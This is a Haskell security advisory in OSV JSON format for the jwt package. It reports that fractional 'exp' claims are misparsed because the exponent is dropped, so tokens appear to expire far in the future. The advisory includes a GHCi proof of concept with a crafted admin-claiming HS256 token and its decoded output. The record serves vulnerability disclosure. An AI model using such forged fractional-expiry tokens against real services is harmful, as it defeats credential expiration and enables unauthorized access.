{"affected":[{"database_specific":{"human_link":"https://github.com/haskell/security-advisories/tree/main/advisories/published/2026/HSEC-2026-0010.md","osv":"https://raw.githubusercontent.com/haskell/security-advisories/refs/heads/generated/osv-export/2026/HSEC-2026-0010.json","source":"https://github.com/haskell/security-advisories/blob/generated/osv-export/2026/HSEC-2026-0010.json"},"ecosystem_specific":{"affected_api":[{"module":"Web.JWT","name":"decode"},{"module":"Web.JWT","name":"decodeAndVerifySignature"}]},"package":{"ecosystem":"Hackage","name":"jwt","purl":"pkg:hackage/jwt"},"ranges":[{"events":[{"introduced":"0.1.0"},{"fixed":"0.12.0"}],"type":"ECOSYSTEM"}],"severity":[{"score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N/E:P/RL:W/RC:C/IR:H/MAV:N/MAC:H/MPR:N/MUI:N/MS:C/MC:N/MI:L/MA:N","type":"CVSS_V3"}],"versions":["0.1.0","0.1.1","0.10.0","0.10.1","0.11.0","0.2.0","0.2.1","0.3.0","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","0.7.1","0.7.2","0.8.0","0.9.0"]}],"database_specific":{"home":"https://github.com/haskell/security-advisories","osvs":"https://raw.githubusercontent.com/haskell/security-advisories/refs/heads/generated/osv-export","repository":"https://github.com/haskell/security-advisories"},"details":"# Improper parsing of fractional `NumericDate` from JWT `exp` claims\n\nSince its [initial commit][], package jwt uses [`Data.Scientific.coefficient`][scientific] to extract the fractional mantissa in a way that improperly *discards the exponent*. This can lead to incorrect parsing of the `exp` claim in JWT payload body.\n\nPoC:\n\n```haskell\ncabal repl --build-depends jwt==0.11.0\n\nimport Web.JWT\n:set -XOverloadedStrings\n\nlet signer = VerifyHMACSecret \"dummy-signing-symmetric-hmac-key.not-so-secret\"\nlet exploit = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhvbmVzdCBKb2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNzkwMTY2Nzg2LCJleHAiOjE3OTAxNzAzODYuMDAwMX0.xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o\"\n-- {\n--   \"sub\": \"1234567890\",\n--   \"name\": \"Honest Joe\",\n--   \"admin\": true,\n--   \"iat\": 1790166786,\n--   \"exp\": 1790170386.0001\n-- }\nλλ ➔ Just whoops = Web.JWT.decodeAndVerifySignature signer exploit\nλ\nλλ ➔ whoops\nVerified (JOSEHeader {typ = Just \"JWT\", cty = Nothing, alg = Just HS256, kid = Nothing}) (JWTClaimsSet {iss = Nothing, sub = Just 1234567890, aud = Nothing, exp = Just (NumericDate 17901703860001), nbf = Nothing, iat = Just (NumericDate 1790166786), jti = Nothing, unregisteredClaims = ClaimsMap {unClaimsMap = fromList [(\"admin\",Bool True),(\"name\",String \"Honest Joe\")]}}) (Signature \"xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o\")\nλ\nλλ ➔ fmap secondsSinceEpoch . Web.JWT.iat . claims $ whoops\nJust 1790166786s\nλ\nλλ ➔ fmap secondsSinceEpoch . Web.JWT.exp . claims $ whoops\nJust 17901703860001s\n```\n\nThe encoded claim `exp = 1790170386.0001` is:\n1. Explicitly allowed by RFC 7519 [section 2][rfc-2] to contain fractional part (*\"... non-integer values can be represented.\"*);\n2. Decodes correctly as `2026-09-23T12:33:06.0001` (including in JS implementations on jwt.io & token.dev);\n3. Decodes incorrectly as `569252-05-30T12:40:01`  (== posix epoch `17901703860001`) by the `jwt` library.\n   ```\n   >>> import Data.Time.Format.ISO8601\n   >>> import Data.Time.Clock.POSIX\n   >>>\n   >>> iso8601Show $ posixSecondsToUTCTime 1790166786\n   \"2026-09-23T12:33:06Z\"\n   >>>\n   >>> iso8601Show $ posixSecondsToUTCTime 17901703860001\n   \"569252-05-30T12:40:01Z\"\n   ```\nThis happens because jwt's `instance FromJSON NumericDate` only extracts the parsed `coefficient` while ignoring [`base10Exponent`][scientific], which in this case becomes negative non-zero.\n\nSince the standard `exp` claim carries credential expiration time:\n\n>  ### [4.1.4][rfc-4.1.4].  \"exp\" (Expiration Time) Claim\n> \n>    The \"exp\" (expiration time) claim identifies the expiration time on\n>    or after which the JWT MUST NOT be accepted for processing.  The\n>    processing of the \"exp\" claim requires that the current date/time\n>    MUST be before the expiration date/time listed in the \"exp\" claim.\n\n— this parsing mistake of dropping the exponent can have security-relevant consequences, should an attacker be able to forge JWTs with fractional expiry dates and get them fed into software that uses the `jwt` library for consuming JWTs.\n\n[initial commit]: https://github.com/puffnfresh/haskell-jwt/commit/76567342c71f62f3f7554da8987579d90e532209\n[rfc-2]: https://www.rfc-editor.org/info/rfc7519/#section-2\n[rfc-4.1.4]: https://www.rfc-editor.org/info/rfc7519/#section-4.1.4\n[scientific]: https://hackage-content.haskell.org/package/scientific-0.3.8.1/docs/Data-Scientific.html#g:2\n","id":"HSEC-2026-0010","modified":"2026-09-29T14:30:03.216576231Z","published":"2026-09-29T14:22:37Z","references":[{"type":"REPORT","url":"https://github.com/puffnfresh/haskell-jwt/issues/4"},{"type":"FIX","url":"https://github.com/puffnfresh/haskell-jwt/pull/10"}],"schema_version":"1.9.0","summary":"Improper parsing of fractional NumericDate from JWT exp claims"}